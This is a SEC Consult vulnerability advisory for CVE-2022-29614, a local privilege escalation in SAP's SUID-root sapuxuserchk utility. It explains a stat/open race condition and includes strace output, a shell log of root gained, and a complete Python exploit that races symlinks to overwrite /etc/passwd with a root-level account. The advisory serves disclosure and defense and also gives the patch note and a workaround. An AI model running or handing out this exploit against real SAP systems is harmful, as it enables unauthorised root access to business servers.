SAP SAPControl Web Service Interface Local Privilege Escalation

Credit: M. Li
Risk: Medium
Local: Yes
Remote: Yes
CWE: CWE-264

SEC Consult Vulnerability Lab Security Advisory < 20220915-0 > ======================================================================= title: Local privilege escalation product: SAPĀ® SAPControl Web Service Interface (sapuxuserchk) vulnerable version: see section "Vulnerable / tested versions" fixed version: see SAP security note 3158619 CVE number: CVE-2022-29614 impact: medium homepage: found: 2022-02-24 by: M. Li (Office Munich) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America ======================================================================= Vendor description: ------------------- "The SAP Start Service (sapstartsrv) provides basic management services for systems and instances and single server processes. Services include starting and stopping, monitoring the current run-time state, reading logs, traces and configuration files, executing commands and retrieving other technology-specific information, like network access points, active sessions, thread list etc. They are exposed by a SOAP Web service interface named "SAPControl". This paper describes how to use this Web service interface." Source: Business recommendation: ------------------------ SEC Consult recommends to implement the security note 3158619, where the documented issue is fixed according to the vendor. We advise installing the corrections as a matter of priority to keep business-critical data secured. Vulnerability overview/description: ----------------------------------- 1) Local privilege escalation (CVE-2022-29614) The SUID-root program sapuxuserchk erroneously follows the symbolic link to create a temporary local logon ticket and change the ownership of the target file for owner access only. As member of the group sapsys, a user can therefore escalate his/her privileges to root on a local Unix system by successfully exploiting a race condition. Proof of concept: ----------------- 1) Local privilege escalation (CVE-2022-29614) The utility sapuxuserchk is used by sapcontrol to request a temporary local logon ticket in the following way. As a result, the ticket is created in the folder /usr/sap/SEC/D00/work/sapcontrol_logon/ $ sapcontrol -nr 0 -function RequestLogonFile user0 $ ls -l logon* -rw------- 1 secadm sapsys 40 Feb 25 08:58 logon0 -rw------- 1 user0 users 40 Feb 25 09:00 logon1 -rw------- 1 root root 40 Feb 25 09:01 logon2 Since sapcontrol is supposed to create the ticket for any system user, it requires a utility with SUID bit set. The owner, group and its permission bits of sapuxuserchk of a standard installation are shown below. $ ls -l sapuxuserchk -rwsr-x--- 1 root sapsys 1312137 Feb 28 2019 sapuxuserchk The request originating from sapcontrol is first sent to the instance server sapstartsrv, piping into sapuxuserchk a 512-byte encrypted message, which contains the ticket path, user name and ticket in the plaintext, as an example shown below. $ strings input-0-plaintext SAPLOGONFILE /usr/sap/SEC/D00/work/sapcontrol_logon/logon1 user0 1133146902252676394602837452470900726967 On its duty to create the ticket, sapuxuserchk performs the sanity check to guarantee the non-existence of the file prior to the creation in the function internal_create_saplogon_file. However, it introduces a race condition between the stat and open calls, as shown by the following excerpt from strace. stat("/usr/sap/SEC/D00/work/sapcontrol_logon/logon1", 0x7ffc0d2e1530) = -1 ENOENT (No such file or directory) open("/usr/sap/SEC/D00/work/sapcontrol_logon/logon1", O_RDWR|O_CREAT|O_TRUNC, 0600) = 3 fchown(3, 1000, 100) The attacker can run a race of constantly creating a symbolic link logon1 pointing to a privileged file such as /etc/passwd and meanwhile invoke the SUID-root program sapuxuserchk, in the hope that the creation of the link take place between the stat and open calls, so that the first will fail, (meaning that the file does not exist yet) while the second as well as the ensuing fchown call succeeds. In a positive result, the attacker gains the read-write permission of the target file. The following run to winning the race took 629 attempts to finally gain the root privilege. The PoC further below lists the exploit implementing the idea above with a pre-intercepted message for user secadm. ------------------------------------------------------------------------- sh-4.3$ id uid=1001(secadm) gid=474(sapsys) groups=474(sapsys),1000(sapinst) sh-4.3$ ls -l /etc/passwd -rw-r--r-- 1 root root 2517 Feb 25 00:47 /etc/passwd sh-4.3$ python3 this many tries: 629 [+] now login as sapmatt sh-4.3$ su sapmatt Password: sh-4.3# id uid=0(sapmatt) gid=0(root) groups=0(root) sh-4.3# ls -l /etc/passwd -rw-r--r-- 1 secadm sapsys 73 Feb 25 10:03 /etc/passwd $ cat import sys, os, signal, base64, random, string secadm_msg = b'O9OXlWwex4ddSI5vhXFfUQvZ8Td3NWzRNIb9QN6bHY764Z0zVNuVjFHRGhHEgYgwNQDnf0/bBwzlEXCSXFkhtiDqDohuyCxG4mtRqc86FlB6DTOjBY9o/6Cb3rRSZ58jggx71JXMRk21jW3gqdem+tmqHCnIumZjodk2cuk5/MY76dsD65s3j1XrQS0RT3gPaspl/6Yb842hbVTZXVRY3cHKzNq5tZMKB2LmyyslO4xCI00eBN6k6yEKNFLvMx8lYbAIaHcfdWu3pMWVIb9rT3BoTCHwi5hBz8dHk6usdEw05q/Xuxe28gxWCUZpN09sYsd/5R8HqqLfwyiNI7CTBCA3f+fHUweJPuteD5O8bwo/mEOShHimO1gPZzhBdow2C0JszYQeQpxgRtENXPUt2qgT7TJqmItxM0puB8ry0TnKJIbk5gj0smflBPBZyTDXl+qNUmgWL1dK/SBpTUErGMVXFVBi8bNDMSUhcJa+0IQlYSBHPln17kquqhGvlRYYZVJttDNoYcvBchc4HxHZmH5pHkD4fhbcQgFT0UFgceSH1j3sE6G/M/QM1X/vTVE4534XJ3mDcFk/brOYun1dawJ30BkJ9HbP5weihwRwspOq52qRZ9CXsnJCtFPNqNWNIe8BgQUW8WV7FkiDJ+Lpp0pq8KLlZ0Yomz46YfCHkag=' # openssl passwd sappass u1_passwd = "sapmatt:wPi023oIkjHdA:0:0::/root:/bin/sh\nsecadm:x:1001:474::/tmp:/bin/sh\n" logon_symlink = "/usr/sap/SEC/D00/work/sapcontrol_logon/logon1" target_file = "/etc/passwd" g = 1024 if not os.path.isfile(logon_symlink): os.system("touch " + logon_symlink) secadm_msg = base64.b64decode(secadm_msg) msg_file = '/tmp/msg' + ''.join(random.choice(string.ascii_letters) for i in range(8)) f0 = open(msg_file, "wb") f0.write(secadm_msg) f0.close() pid = os.fork() if pid == 0: j = 0 while True: if j > g: print('done') os._exit(os.EX_OK) j += 1 os.system("/usr/sap/SEC/D00/exe/sapuxuserchk < {0} > /dev/null".format(msg_file)) else: i = 0 uid = os.getuid() success = False while not success: if i > g: print("[-] give up, link too many tries: " + str(i)) break i += 1 try: os.unlink(logon_symlink) os.symlink(target_file, logon_symlink) statinfo = os.stat(target_file) if statinfo.st_uid == uid: os.kill(pid, signal.SIGILL) print("this many tries: " + str(i)) print("[+] now login as sapmatt ") f = open(target_file, "w") f.write(u1_passwd) f.close() success = True except Exception as err: print('[-] lost the race {0}'.format(err)) os.waitpid(pid, 0) os.unlink(msg_file) ------------------------------------------------------------------------- Vulnerable / tested versions: ----------------------------- The following version of the binary was found to be vulnerable during our tests: * Version: 753, patch 400, changelist 1906766 According to the vendor the following products are affected by the discovered vulnerability: SAP NetWeaver AS ABAP, AS Java, ABAP Platform and HANA Database, Versions: * KERNEL 7.22, 7.49, 7.53, 7.77, 7.81, 7.85, 7.86, 7.87, 7.88 * KRNL64NUC 7.22, 7.22EXT, 7.49 * KRNL64UC 7.22, 7.22EXT, 7.49, 7.53 * SAPHOSTAGENT 7.2 Please refer to the vendor patch day post: Vendor contact timeline: ------------------------ 2022-02-25: Contacting vendor through vulnerability submission web form. 2022-03-04: Vendor confirms receipt and assigns SAP security incident number #2270008914. 2022-04-29: Requesting status update. 2022-05-05: Vendor confirms vulnerability and states it might be addressed in May 2022 patch day. 2022-06-14: Vendor releases patches with SAP security note 3158619. 2022-06-15: Requesting the confirmation of the security note on the issue. 2022-08-11: Vendor sends the link to the Acknowledgements to Security Researchers. 2022-09-02: Requesting the confirmation of the fix. 2022-09-03: Vendor confirms the issue has been fixed on June Patch Day. 2022-09-15: Public release of security advisory. Solution: --------- The following security note needs to be implemented: Workaround: ----------- You can remove the SUID-bit from sapuxuserchk as temporary mitigation. # chmod 0755 sapuxuserchk Advisory URL: ------------- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: Blog: Twitter: EOF M. Li / @2022

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